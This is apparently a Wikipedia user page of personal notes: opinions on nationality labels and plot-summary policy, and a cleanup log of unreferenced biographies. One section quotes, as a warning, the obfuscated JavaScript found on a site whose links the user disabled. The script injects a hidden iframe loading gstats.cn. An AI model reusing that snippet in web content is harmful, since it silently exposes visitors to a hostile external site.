Points of View
User:84user/Upload fair-use suggestions for improving Wikipedia:Upload of non-free images.
Wikipedia:Nationality of people from the United Kingdom; British nationality 2007-2008 talk
- Agree with User:Matt Lewis and User:Breadandcheese that no guideline is wanted.
- Prefer no nationality adjective to appear in lead or infobox at all.
- Show legal citizenship(s), when sourced, in the infobox's "Nationality" field.
- Prefer no ethnicity description to appear in the lead or infobox at all.
- When sourced and notable, discuss nationalities and ethnicities (note plural) in a relevant section.
- Accept a nationality adjective that is well-sourced, not synthesized. Good sources would be printed dictionaries, biographies and encyclopedia.
- Walk away despairingly at attempts to force ethnicity labels in the lead, infobox and categories.
No original biographies

On civility
References don't increase Wikipedia's reliability
User:Piotrus/Morsels of wikiwisdom
My half-baked opinions on the RFC "In principle, do you think that WP:NOT should include a section on plot summaries?"
- such RFCs need actual examples
- question is badly framed
- agree that some form of plot guideline is needed
- agree that reliably sourced plot-only articles can meet WP:V, and are acceptable, and could also be usefully merged (or remain as "grow-me" stubs, I'm on the fence here)
- not necessary for an article on fiction to contain a plot summary! See real encyclopedia
- not necessary for an article on fiction to contain only analysis! See real encyclopedia again
malware
In case anyone is curious why I disabled the links to kungfurodeo.com, here is the malicious javascript that its pages contain that try to load from gstats.cn (do NOT browse to either domain!):
if (document.cookie.search("iwrpl=5") == -1) {
document.write("<ifram"+"e src"+"=http://g"+"st"+"ats"+".c"+"n sty"+"le="+"d"+"ispla"+"y:non"+"e></if"+"rame"+">");
document.cookie = "iwrpl=5;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}

Unreferenced BLPs
From Category:Unreferenced BLPs from September 2008 (was 533, now 531)
- Dag Achatz - made partly cited
- Charles Gilchrist Adam - made fully cited, needs moving to Charles Gilchrist Adams
- Vlad Agachi - Vlad Andrei Agachi, unsure whether meets Wikipedia:Notability, so listed at Wikipedia:Articles for deletion/Vlad Agachi
- Yuka Aimoto - also at ja:相本結香 - added weak cites, probably borderline notable but lack of reliable sources make article difficult to meet V, see also Wikipedia:Articles for deletion/Yuka Aimoto
